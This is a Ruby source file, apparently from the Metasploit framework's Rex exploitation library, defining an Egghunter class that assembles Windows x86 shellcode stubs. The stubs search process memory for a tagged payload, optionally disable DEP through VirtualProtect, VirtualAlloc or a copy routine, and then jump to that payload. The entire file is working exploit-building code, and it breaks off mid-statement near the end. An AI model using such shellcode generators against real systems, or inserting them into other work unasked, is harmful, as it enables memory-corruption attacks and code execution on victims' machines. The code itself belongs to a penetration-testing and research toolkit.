# -*- coding: binary -*- require 'rex/text' require 'rex/arch' require 'metasm' module Rex module Exploitation ### # # This class provides an interface to generating egghunters. Egghunters are # used to search process address space for a known byte sequence. This is # useful in situations where there is limited room for a payload when an # overflow occurs, but it's possible to stick a larger payload somewhere else # in memory that may not be directly predictable. # # Original implementation by skape # (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) # # Checksum checking implemented by dijital1/corelanc0d3r # Checksum code merged to Egghunter by jduck # Conversion to use Metasm by jduck # Startreg code added by corelanc0d3r # Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r) # Added support for searchforward option (true or false) # ### class Egghunter ### # # Windows-based egghunters # ### module Windows Alias = "win" module X86 Alias = ARCH_X86 # # The egg hunter stub for win/x86. # def hunter_stub(payload, badchars = '', opts = {}) startreg = opts[:startreg] searchforward = opts[:searchforward] raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first checksum = checksum_stub(payload, badchars, opts) startstub = '' if startreg if startreg.downcase != 'edx' startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr" else startstub = "\n\tjmp next_addr" end end startstub << "\n\t" if startstub.length > 0 # search forward or backward ? flippage = "\n\tor dx,0xfff" edxdirection = "\n\tinc edx" if searchforward if searchforward.to_s.downcase == 'false' # go backwards flippage = "\n\txor dl,dl" edxdirection = "\n\tdec edx" end end # other vars getpointer = '' getsize = '' getalloctype = '' getpc = '' jmppayload = "jmp edi" apireg = opts[:depreg] || 'esi' apidest = opts[:depdest] depsize = opts[:depsize] freeregs = [ "esi", "ebp", "ecx", "ebx" ] reginfo = { "ebx"=>["bx","bl","bh"], "ecx"=>["cx","cl","ch"] } if opts[:depmethod] if freeregs.index(apireg) == nil getpointer << "mov #{freeregs[0]},#{apireg}\n\t" apireg = freeregs[0] end freeregs.delete(apireg) if opts[:depmethod].downcase == "virtualalloc" depsize = 0xfff end if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size" if apidest if freeregs.index(apidest) == nil getpointer << "mov #{freeregs[0]},#{apidest}\n\t" apidest = freeregs[0] end else getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t" apidest = freeregs[0] end freeregs.delete(apidest) end sizereg = freeregs[0] if not depsize depsize = payload.length * 2 if opts[:depmethod] if opts[:depmethod].downcase == "copy_size" depsize = payload.length end end end if depsize <= 127 getsize << "push 0x%02x\n\t" % depsize else sizebytes = "%04x" % depsize low = sizebytes[2,4] high = sizebytes[0,2] if sizereg == "ecx" || sizereg == "ebx" regvars = reginfo[sizereg] getsize << "xor #{sizereg},#{sizereg}\n\t" if low != "00" and high != "00" getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes elsif low != "00" getsize << "mov #{regvars[1]},0x%s\n\t" % low elsif high != "00" getsize << "mov #{regvars[2]},0x%s\n\t" % high end end if sizereg == "ebp" if low != "00" and high != "00" getsize << "xor #{sizereg},#{sizereg}\n\t" getsize << "mov bp,0x%s\n\t" % sizebytes end end # last resort if getsize == '' blockcnt = 0 vpsize = 0 blocksize = depsize while blocksize > 127 blocksize = blocksize / 2 blockcnt += 1 end getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize vpsize = blocksize depblockcnt = 0 while depblockcnt < blockcnt getsize << "add #{sizereg},#{sizereg}\n\t" vpsize += vpsize depblockcnt += 1 end delta = depsize - vpsize if delta > 0 getsize << "add #{sizereg},0x%02x\n\t" % delta end end if opts[:depmethod].downcase == "virtualalloc" getsize << "inc #{sizereg}\n\t" end getsize << "push #{sizereg}\n\t" end getalloctype = getsize case opts[:depmethod].downcase when "virtualprotect" jmppayload = "push esp\n\tpush 0x40\n\t" jmppayload << getsize jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret" when "virtualalloc" jmppayload = "push 0x40\n\t" jmppayload << getalloctype jmppayload << "push 0x01\n\t" jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret" when "copy" jmppayload = getpc jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret" when "copy_size" jmppayload = getpc jmppayload << getsize jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret" end end jmppayload << "\n" if jmppayload.length > 0 assembly = < 0 assembly = <